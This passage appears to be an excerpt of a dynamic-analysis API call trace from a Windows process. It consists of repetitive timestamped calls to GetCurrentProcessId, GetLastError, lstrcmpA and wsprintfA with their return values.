[0069.306] GetCurrentProcessId () returned 0x81c [0069.306] GetCurrentProcessId () returned 0x81c [0069.306] GetCurrentProcessId () returned 0x81c [0069.306] GetCurrentProcessId () returned 0x81c [0069.306] lstrlenA (lpString="just string") returned 11 [0069.306] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.306] GetLastError () returned 0x12 [0069.306] lstrlenA (lpString="just string") returned 11 [0069.306] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.306] GetLastError () returned 0x12 [0069.306] GetCurrentProcessId () returned 0x81c [0069.306] lstrlenA (lpString="just string") returned 11 [0069.306] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.307] GetLastError () returned 0x12 [0069.307] GetCurrentProcessId () returned 0x81c [0069.307] GetCurrentProcessId () returned 0x81c [0069.307] lstrlenA (lpString="just string") returned 11 [0069.307] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.307] GetLastError () returned 0x12 [0069.307] GetCurrentProcessId () returned 0x81c [0069.307] GetCurrentProcessId () returned 0x81c [0069.307] GetCurrentProcessId () returned 0x81c [0069.307] lstrlenA (lpString="just string") returned 11 [0069.307] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.307] GetLastError () returned 0x12 [0069.307] GetLastError () returned 0x12 [0069.307] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.307] SetLastError (dwErrCode=0x12) [0069.307] GetCurrentProcess () returned 0xffffffff [0069.307] GetLastError () returned 0x12 [0069.307] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E72FAP") returned 7 [0069.307] SetLastError (dwErrCode=0x12) [0069.307] GetCurrentProcessId () returned 0x81c [0069.307] GetCurrentProcess () returned 0xffffffff [0069.307] GetLastError () returned 0x12 [0069.307] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E72FBP") returned 7 [0069.307] SetLastError (dwErrCode=0x12) [0069.307] GetCurrentProcessId () returned 0x81c [0069.307] GetLastError () returned 0x12 [0069.307] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E72FCP") returned 7 [0069.307] SetLastError (dwErrCode=0x12) [0069.307] GetCurrentProcessId () returned 0x81c [0069.307] GetCurrentProcessId () returned 0x81c [0069.307] GetCurrentProcessId () returned 0x81c [0069.307] GetCurrentProcessId () returned 0x81c [0069.307] lstrlenA (lpString="just string") returned 11 [0069.307] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.307] GetLastError () returned 0x12 [0069.307] GetCurrentProcess () returned 0xffffffff [0069.307] GetLastError () returned 0x12 [0069.307] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E730FP") returned 7 [0069.307] SetLastError (dwErrCode=0x12) [0069.307] GetCurrentProcessId () returned 0x81c [0069.307] GetLastError () returned 0x12 [0069.307] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7310P") returned 7 [0069.307] SetLastError (dwErrCode=0x12) [0069.307] GetCurrentProcessId () returned 0x81c [0069.307] GetCurrentProcessId () returned 0x81c [0069.307] GetCurrentProcessId () returned 0x81c [0069.307] GetCurrentProcessId () returned 0x81c [0069.307] lstrlenA (lpString="just string") returned 11 [0069.307] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.307] GetLastError () returned 0x12 [0069.308] GetCurrentProcessId () returned 0x81c [0069.308] lstrlenA (lpString="just string") returned 11 [0069.308] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.308] GetLastError () returned 0x12 [0069.308] GetLastError () returned 0x12 [0069.308] GetCurrentProcessId () returned 0x81c [0069.308] GetCurrentProcessId () returned 0x81c [0069.308] GetCurrentProcessId () returned 0x81c [0069.308] lstrlenA (lpString="just string") returned 11 [0069.308] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.308] GetLastError () returned 0x12 [0069.308] GetCurrentProcessId () returned 0x81c [0069.308] GetCurrentProcessId () returned 0x81c [0069.308] lstrlenA (lpString="just string") returned 11 [0069.308] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.308] GetLastError () returned 0x12 [0069.308] GetCurrentProcessId () returned 0x81c [0069.308] GetCurrentProcessId () returned 0x81c [0069.308] lstrlenA (lpString="just string") returned 11 [0069.308] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.308] GetLastError () returned 0x12 [0069.308] GetLastError () returned 0x12 [0069.308] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.308] SetLastError (dwErrCode=0x12) [0069.308] GetCurrentProcess () returned 0xffffffff [0069.308] GetLastError () returned 0x12 [0069.308] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7408P") returned 7 [0069.308] SetLastError (dwErrCode=0x12) [0069.308] GetCurrentProcessId () returned 0x81c [0069.308] GetCurrentProcess () returned 0xffffffff [0069.308] GetLastError () returned 0x12 [0069.308] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7409P") returned 7 [0069.308] SetLastError (dwErrCode=0x12) [0069.308] GetCurrentProcessId () returned 0x81c [0069.308] GetLastError () returned 0x12 [0069.308] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E740AP") returned 7 [0069.308] SetLastError (dwErrCode=0x12) [0069.308] GetCurrentProcessId () returned 0x81c [0069.308] GetCurrentProcessId () returned 0x81c [0069.308] GetCurrentProcessId () returned 0x81c [0069.308] GetCurrentProcessId () returned 0x81c [0069.308] lstrlenA (lpString="just string") returned 11 [0069.308] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.308] GetLastError () returned 0x12 [0069.308] GetLastError () returned 0x12 [0069.308] GetLastError () returned 0x12 [0069.309] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.309] SetLastError (dwErrCode=0x12) [0069.309] GetCurrentProcess () returned 0xffffffff [0069.309] GetLastError () returned 0x12 [0069.309] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7458P") returned 7 [0069.309] SetLastError (dwErrCode=0x12) [0069.309] GetCurrentProcessId () returned 0x81c [0069.309] GetCurrentProcess () returned 0xffffffff [0069.309] GetLastError () returned 0x12 [0069.309] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7459P") returned 7 [0069.309] SetLastError (dwErrCode=0x12) [0069.309] GetCurrentProcessId () returned 0x81c [0069.309] GetLastError () returned 0x12 [0069.309] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E745AP") returned 7 [0069.309] SetLastError (dwErrCode=0x12) [0069.309] GetCurrentProcessId () returned 0x81c [0069.309] GetCurrentProcessId () returned 0x81c [0069.309] GetCurrentProcessId () returned 0x81c [0069.309] GetCurrentProcessId () returned 0x81c [0069.309] lstrlenA (lpString="just string") returned 11 [0069.309] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.309] GetLastError () returned 0x12 [0069.309] GetLastError () returned 0x12 [0069.309] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7464P") returned 7 [0069.309] SetLastError (dwErrCode=0x12) [0069.309] GetCurrentProcessId () returned 0x81c [0069.309] GetCurrentProcessId () returned 0x81c [0069.309] GetCurrentProcessId () returned 0x81c [0069.309] GetCurrentProcessId () returned 0x81c [0069.309] lstrlenA (lpString="just string") returned 11 [0069.309] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.309] GetLastError () returned 0x12 [0069.309] GetLastError () returned 0x12 [0069.309] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7482P") returned 7 [0069.309] SetLastError (dwErrCode=0x12) [0069.309] GetCurrentProcessId () returned 0x81c [0069.309] GetCurrentProcessId () returned 0x81c [0069.309] GetCurrentProcessId () returned 0x81c [0069.309] GetCurrentProcessId () returned 0x81c [0069.309] lstrlenA (lpString="just string") returned 11 [0069.309] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.309] GetLastError () returned 0x12 [0069.309] GetCurrentProcessId () returned 0x81c [0069.309] GetCurrentProcessId () returned 0x81c [0069.309] lstrlenA (lpString="just string") returned 11 [0069.309] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.309] GetLastError () returned 0x12 [0069.309] lstrlenA (lpString="just string") returned 11 [0069.309] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.309] GetLastError () returned 0x12 [0069.309] GetCurrentProcessId () returned 0x81c [0069.309] GetCurrentProcessId () returned 0x81c [0069.309] lstrlenA (lpString="just string") returned 11 [0069.310] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.310] GetLastError () returned 0x12 [0069.310] GetCurrentProcessId () returned 0x81c [0069.310] lstrlenA (lpString="just string") returned 11 [0069.310] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.310] GetLastError () returned 0x12 [0069.310] GetCurrentProcessId () returned 0x81c [0069.310] GetCurrentProcessId () returned 0x81c [0069.310] lstrlenA (lpString="just string") returned 11 [0069.310] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.310] GetLastError () returned 0x12 [0069.310] GetCurrentProcessId () returned 0x81c [0069.310] GetCurrentProcessId () returned 0x81c [0069.310] lstrlenA (lpString="just string") returned 11 [0069.310] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.310] GetLastError () returned 0x12 [0069.310] GetLastError () returned 0x12 [0069.310] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E757CP") returned 7 [0069.310] SetLastError (dwErrCode=0x12) [0069.310] GetCurrentProcessId () returned 0x81c [0069.310] GetCurrentProcessId () returned 0x81c [0069.310] GetCurrentProcessId () returned 0x81c [0069.310] GetCurrentProcessId () returned 0x81c [0069.310] lstrlenA (lpString="just string") returned 11 [0069.310] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.310] GetLastError () returned 0x12 [0069.310] GetLastError () returned 0x12 [0069.310] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.310] SetLastError (dwErrCode=0x12) [0069.310] GetCurrentProcess () returned 0xffffffff [0069.310] GetLastError () returned 0x12 [0069.310] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E75B6P") returned 7 [0069.310] SetLastError (dwErrCode=0x12) [0069.310] GetCurrentProcessId () returned 0x81c [0069.310] GetCurrentProcess () returned 0xffffffff [0069.310] GetLastError () returned 0x12 [0069.310] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E75B7P") returned 7 [0069.310] SetLastError (dwErrCode=0x12) [0069.310] GetCurrentProcessId () returned 0x81c [0069.310] GetLastError () returned 0x12 [0069.310] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E75B8P") returned 7 [0069.310] SetLastError (dwErrCode=0x12) [0069.310] GetCurrentProcessId () returned 0x81c [0069.310] GetCurrentProcessId () returned 0x81c [0069.310] GetCurrentProcessId () returned 0x81c [0069.310] GetCurrentProcessId () returned 0x81c [0069.310] lstrlenA (lpString="just string") returned 11 [0069.310] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.310] GetLastError () returned 0x12 [0069.310] GetCurrentProcess () returned 0xffffffff [0069.310] GetLastError () returned 0x12 [0069.310] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E75DFP") returned 7 [0069.310] SetLastError (dwErrCode=0x12) [0069.310] GetCurrentProcessId () returned 0x81c [0069.310] GetLastError () returned 0x12 [0069.310] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E75E0P") returned 7 [0069.310] SetLastError (dwErrCode=0x12) [0069.310] GetCurrentProcessId () returned 0x81c [0069.310] GetCurrentProcessId () returned 0x81c [0069.310] GetCurrentProcessId () returned 0x81c [0069.310] GetCurrentProcessId () returned 0x81c [0069.310] lstrlenA (lpString="just string") returned 11 [0069.311] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.311] GetLastError () returned 0x12 [0069.311] GetCurrentProcess () returned 0xffffffff [0069.311] GetLastError () returned 0x12 [0069.311] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7625P") returned 7 [0069.311] SetLastError (dwErrCode=0x12) [0069.311] GetCurrentProcessId () returned 0x81c [0069.311] GetLastError () returned 0x12 [0069.311] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7626P") returned 7 [0069.311] SetLastError (dwErrCode=0x12) [0069.311] GetCurrentProcessId () returned 0x81c [0069.311] GetCurrentProcessId () returned 0x81c [0069.311] GetCurrentProcessId () returned 0x81c [0069.311] GetCurrentProcessId () returned 0x81c [0069.311] lstrlenA (lpString="just string") returned 11 [0069.311] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.311] GetLastError () returned 0x12 [0069.311] GetCurrentProcessId () returned 0x81c [0069.311] GetCurrentProcessId () returned 0x81c [0069.311] lstrlenA (lpString="just string") returned 11 [0069.311] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.311] GetLastError () returned 0x12 [0069.311] GetCurrentProcess () returned 0xffffffff [0069.311] GetLastError () returned 0x12 [0069.311] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7675P") returned 7 [0069.311] SetLastError (dwErrCode=0x12) [0069.311] GetCurrentProcessId () returned 0x81c [0069.311] GetLastError () returned 0x12 [0069.311] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7676P") returned 7 [0069.311] SetLastError (dwErrCode=0x12) [0069.311] GetCurrentProcessId () returned 0x81c [0069.311] GetCurrentProcessId () returned 0x81c [0069.311] GetCurrentProcessId () returned 0x81c [0069.311] GetCurrentProcessId () returned 0x81c [0069.311] lstrlenA (lpString="just string") returned 11 [0069.311] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.311] GetLastError () returned 0x12 [0069.311] GetLastError () returned 0x12 [0069.311] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.311] SetLastError (dwErrCode=0x12) [0069.311] GetCurrentProcess () returned 0xffffffff [0069.311] GetLastError () returned 0x12 [0069.311] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E76B0P") returned 7 [0069.311] SetLastError (dwErrCode=0x12) [0069.311] GetCurrentProcessId () returned 0x81c [0069.311] GetCurrentProcess () returned 0xffffffff [0069.311] GetLastError () returned 0x12 [0069.311] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E76B1P") returned 7 [0069.311] SetLastError (dwErrCode=0x12) [0069.311] GetCurrentProcessId () returned 0x81c [0069.311] GetLastError () returned 0x12 [0069.311] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E76B2P") returned 7 [0069.311] SetLastError (dwErrCode=0x12) [0069.311] GetCurrentProcessId () returned 0x81c [0069.311] GetCurrentProcessId () returned 0x81c [0069.311] GetCurrentProcessId () returned 0x81c [0069.311] GetCurrentProcessId () returned 0x81c [0069.311] lstrlenA (lpString="just string") returned 11 [0069.311] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.311] GetLastError () returned 0x12 [0069.311] GetCurrentProcess () returned 0xffffffff [0069.312] GetLastError () returned 0x12 [0069.312] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E76BBP") returned 7 [0069.312] SetLastError (dwErrCode=0x12) [0069.312] GetCurrentProcessId () returned 0x81c [0069.312] GetLastError () returned 0x12 [0069.312] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E76BCP") returned 7 [0069.312] SetLastError (dwErrCode=0x12) [0069.312] GetCurrentProcessId () returned 0x81c [0069.312] GetCurrentProcessId () returned 0x81c [0069.312] GetCurrentProcessId () returned 0x81c [0069.312] GetCurrentProcessId () returned 0x81c [0069.312] lstrlenA (lpString="just string") returned 11 [0069.312] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.312] GetLastError () returned 0x12 [0069.312] GetLastError () returned 0x12 [0069.312] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E76D0P") returned 7 [0069.312] SetLastError (dwErrCode=0x12) [0069.312] GetCurrentProcessId () returned 0x81c [0069.312] GetCurrentProcessId () returned 0x81c [0069.312] GetCurrentProcessId () returned 0x81c [0069.312] GetCurrentProcessId () returned 0x81c [0069.312] lstrlenA (lpString="just string") returned 11 [0069.312] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.312] GetLastError () returned 0x12 [0069.312] GetCurrentProcessId () returned 0x81c [0069.312] GetCurrentProcessId () returned 0x81c [0069.312] lstrlenA (lpString="just string") returned 11 [0069.312] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.312] GetLastError () returned 0x12 [0069.312] GetCurrentProcessId () returned 0x81c [0069.312] GetCurrentProcessId () returned 0x81c [0069.312] lstrlenA (lpString="just string") returned 11 [0069.312] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.312] GetLastError () returned 0x12 [0069.312] lstrlenA (lpString="just string") returned 11 [0069.312] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.312] GetLastError () returned 0x12 [0069.312] GetLastError () returned 0x12 [0069.312] lstrlenA (lpString="just string") returned 11 [0069.312] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.312] GetLastError () returned 0x12 [0069.312] GetCurrentProcessId () returned 0x81c [0069.312] GetCurrentProcessId () returned 0x81c [0069.312] lstrlenA (lpString="just string") returned 11 [0069.312] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.312] GetLastError () returned 0x12 [0069.312] lstrlenA (lpString="just string") returned 11 [0069.312] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.312] GetLastError () returned 0x12 [0069.312] GetCurrentProcessId () returned 0x81c [0069.312] GetCurrentProcessId () returned 0x81c [0069.312] GetCurrentProcessId () returned 0x81c [0069.312] lstrlenA (lpString="just string") returned 11 [0069.312] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.312] GetLastError () returned 0x12 [0069.312] GetLastError () returned 0x12 [0069.312] GetCurrentProcessId () returned 0x81c [0069.312] GetCurrentProcessId () returned 0x81c [0069.312] lstrlenA (lpString="just string") returned 11 [0069.312] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.312] GetLastError () returned 0x12 [0069.312] GetLastError () returned 0x12 [0069.312] GetCurrentProcess () returned 0xffffffff [0069.312] GetLastError () returned 0x12 [0069.313] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E78D7P") returned 7 [0069.313] SetLastError (dwErrCode=0x12) [0069.313] GetCurrentProcessId () returned 0x81c [0069.313] GetLastError () returned 0x12 [0069.313] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E78D8P") returned 7 [0069.313] SetLastError (dwErrCode=0x12) [0069.313] GetCurrentProcessId () returned 0x81c [0069.313] GetCurrentProcessId () returned 0x81c [0069.313] GetCurrentProcessId () returned 0x81c [0069.313] GetCurrentProcessId () returned 0x81c [0069.313] lstrlenA (lpString="just string") returned 11 [0069.313] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.313] GetLastError () returned 0x12 [0069.313] GetCurrentProcessId () returned 0x81c [0069.313] lstrlenA (lpString="just string") returned 11 [0069.313] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.313] GetLastError () returned 0x12 [0069.313] GetCurrentProcessId () returned 0x81c [0069.313] GetCurrentProcessId () returned 0x81c [0069.313] GetCurrentProcessId () returned 0x81c [0069.313] lstrlenA (lpString="just string") returned 11 [0069.313] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.313] GetLastError () returned 0x12 [0069.313] lstrlenA (lpString="just string") returned 11 [0069.313] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.313] GetLastError () returned 0x12 [0069.313] GetCurrentProcessId () returned 0x81c [0069.313] GetCurrentProcessId () returned 0x81c [0069.313] lstrlenA (lpString="just string") returned 11 [0069.313] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.313] GetLastError () returned 0x12 [0069.313] GetCurrentProcess () returned 0xffffffff [0069.313] GetLastError () returned 0x12 [0069.313] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E796DP") returned 7 [0069.313] SetLastError (dwErrCode=0x12) [0069.313] GetCurrentProcessId () returned 0x81c [0069.313] GetLastError () returned 0x12 [0069.313] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E796EP") returned 7 [0069.313] SetLastError (dwErrCode=0x12) [0069.313] GetCurrentProcessId () returned 0x81c [0069.313] GetCurrentProcessId () returned 0x81c [0069.313] GetCurrentProcessId () returned 0x81c [0069.313] GetCurrentProcessId () returned 0x81c [0069.313] lstrlenA (lpString="just string") returned 11 [0069.313] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.313] GetLastError () returned 0x12 [0069.313] lstrlenA (lpString="just string") returned 11 [0069.313] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.313] GetLastError () returned 0x12 [0069.313] GetLastError () returned 0x12 [0069.313] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.313] SetLastError (dwErrCode=0x12) [0069.313] GetCurrentProcess () returned 0xffffffff [0069.313] GetLastError () returned 0x12 [0069.313] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E79BCP") returned 7 [0069.313] SetLastError (dwErrCode=0x12) [0069.313] GetCurrentProcessId () returned 0x81c [0069.313] GetCurrentProcess () returned 0xffffffff [0069.313] GetLastError () returned 0x12 [0069.313] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E79BDP") returned 7 [0069.313] SetLastError (dwErrCode=0x12) [0069.314] GetCurrentProcessId () returned 0x81c [0069.314] GetLastError () returned 0x12 [0069.314] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E79BEP") returned 7 [0069.314] SetLastError (dwErrCode=0x12) [0069.314] GetCurrentProcessId () returned 0x81c [0069.314] GetCurrentProcessId () returned 0x81c [0069.314] GetCurrentProcessId () returned 0x81c [0069.314] GetCurrentProcessId () returned 0x81c [0069.314] lstrlenA (lpString="just string") returned 11 [0069.314] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.314] GetLastError () returned 0x12 [0069.314] GetCurrentProcessId () returned 0x81c [0069.314] GetCurrentProcessId () returned 0x81c [0069.314] lstrlenA (lpString="just string") returned 11 [0069.314] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.314] GetLastError () returned 0x12 [0069.314] GetLastError () returned 0x12 [0069.314] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.314] SetLastError (dwErrCode=0x12) [0069.314] GetCurrentProcess () returned 0xffffffff [0069.314] GetLastError () returned 0x12 [0069.314] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E79E4P") returned 7 [0069.314] SetLastError (dwErrCode=0x12) [0069.314] GetCurrentProcessId () returned 0x81c [0069.314] GetCurrentProcess () returned 0xffffffff [0069.314] GetLastError () returned 0x12 [0069.314] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E79E5P") returned 7 [0069.314] SetLastError (dwErrCode=0x12) [0069.314] GetCurrentProcessId () returned 0x81c [0069.314] GetLastError () returned 0x12 [0069.314] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E79E6P") returned 7 [0069.314] SetLastError (dwErrCode=0x12) [0069.314] GetCurrentProcessId () returned 0x81c [0069.314] GetCurrentProcessId () returned 0x81c [0069.314] GetCurrentProcessId () returned 0x81c [0069.314] GetCurrentProcessId () returned 0x81c [0069.314] lstrlenA (lpString="just string") returned 11 [0069.314] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.314] GetLastError () returned 0x12 [0069.314] GetLastError () returned 0x12 [0069.314] GetLastError () returned 0x12 [0069.314] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7A40P") returned 7 [0069.314] SetLastError (dwErrCode=0x12) [0069.314] GetCurrentProcessId () returned 0x81c [0069.315] GetCurrentProcessId () returned 0x81c [0069.315] GetCurrentProcessId () returned 0x81c [0069.315] GetCurrentProcessId () returned 0x81c [0069.315] lstrlenA (lpString="just string") returned 11 [0069.315] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.315] GetLastError () returned 0x12 [0069.315] GetLastError () returned 0x12 [0069.315] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.315] SetLastError (dwErrCode=0x12) [0069.315] GetCurrentProcess () returned 0xffffffff [0069.315] GetLastError () returned 0x12 [0069.315] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7A84P") returned 7 [0069.315] SetLastError (dwErrCode=0x12) [0069.315] GetCurrentProcessId () returned 0x81c [0069.315] GetCurrentProcess () returned 0xffffffff [0069.315] GetLastError () returned 0x12 [0069.315] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7A85P") returned 7 [0069.315] SetLastError (dwErrCode=0x12) [0069.315] GetCurrentProcessId () returned 0x81c [0069.315] GetLastError () returned 0x12 [0069.315] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7A86P") returned 7 [0069.315] SetLastError (dwErrCode=0x12) [0069.315] GetCurrentProcessId () returned 0x81c [0069.315] GetCurrentProcessId () returned 0x81c [0069.315] GetCurrentProcessId () returned 0x81c [0069.315] GetCurrentProcessId () returned 0x81c [0069.315] lstrlenA (lpString="just string") returned 11 [0069.315] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.315] GetLastError () returned 0x12 [0069.315] GetLastError () returned 0x12 [0069.315] GetLastError () returned 0x12 [0069.315] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.315] SetLastError (dwErrCode=0x12) [0069.315] GetCurrentProcess () returned 0xffffffff [0069.315] GetLastError () returned 0x12 [0069.315] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7AF2P") returned 7 [0069.315] SetLastError (dwErrCode=0x12) [0069.315] GetCurrentProcessId () returned 0x81c [0069.315] GetCurrentProcess () returned 0xffffffff [0069.315] GetLastError () returned 0x12 [0069.315] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7AF3P") returned 7 [0069.315] SetLastError (dwErrCode=0x12) [0069.315] GetCurrentProcessId () returned 0x81c [0069.315] GetLastError () returned 0x12 [0069.315] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7AF4P") returned 7 [0069.315] SetLastError (dwErrCode=0x12) [0069.315] GetCurrentProcessId () returned 0x81c [0069.315] GetCurrentProcessId () returned 0x81c [0069.315] GetCurrentProcessId () returned 0x81c [0069.315] GetCurrentProcessId () returned 0x81c [0069.315] lstrlenA (lpString="just string") returned 11 [0069.316] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.316] GetLastError () returned 0x12 [0069.316] GetCurrentProcessId () returned 0x81c [0069.316] GetCurrentProcessId () returned 0x81c [0069.316] GetCurrentProcessId () returned 0x81c [0069.316] lstrlenA (lpString="just string") returned 11 [0069.316] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.316] GetLastError () returned 0x12 [0069.316] GetCurrentProcessId () returned 0x81c [0069.316] lstrlenA (lpString="just string") returned 11 [0069.316] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.316] GetLastError () returned 0x12 [0069.316] GetCurrentProcess () returned 0xffffffff [0069.316] GetLastError () returned 0x12 [0069.316] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7B61P") returned 7 [0069.316] SetLastError (dwErrCode=0x12) [0069.316] GetCurrentProcessId () returned 0x81c [0069.316] GetLastError () returned 0x12 [0069.316] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7B62P") returned 7 [0069.316] SetLastError (dwErrCode=0x12) [0069.316] GetCurrentProcessId () returned 0x81c [0069.316] GetCurrentProcessId () returned 0x81c [0069.316] GetCurrentProcessId () returned 0x81c [0069.316] GetCurrentProcessId () returned 0x81c [0069.316] lstrlenA (lpString="just string") returned 11 [0069.316] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.316] GetLastError () returned 0x12 [0069.316] GetLastError () returned 0x12 [0069.316] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.316] SetLastError (dwErrCode=0x12) [0069.316] GetCurrentProcess () returned 0xffffffff [0069.316] GetLastError () returned 0x12 [0069.316] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7B6AP") returned 7 [0069.316] SetLastError (dwErrCode=0x12) [0069.316] GetCurrentProcessId () returned 0x81c [0069.316] GetCurrentProcess () returned 0xffffffff [0069.316] GetLastError () returned 0x12 [0069.316] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7B6BP") returned 7 [0069.316] SetLastError (dwErrCode=0x12) [0069.316] GetCurrentProcessId () returned 0x81c [0069.316] GetLastError () returned 0x12 [0069.316] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7B6CP") returned 7 [0069.316] SetLastError (dwErrCode=0x12) [0069.316] GetCurrentProcessId () returned 0x81c [0069.316] GetCurrentProcessId () returned 0x81c [0069.316] GetCurrentProcessId () returned 0x81c [0069.316] GetCurrentProcessId () returned 0x81c [0069.316] lstrlenA (lpString="just string") returned 11 [0069.316] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.316] GetLastError () returned 0x12 [0069.316] lstrlenA (lpString="just string") returned 11 [0069.316] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.316] GetLastError () returned 0x12 [0069.316] GetLastError () returned 0x12 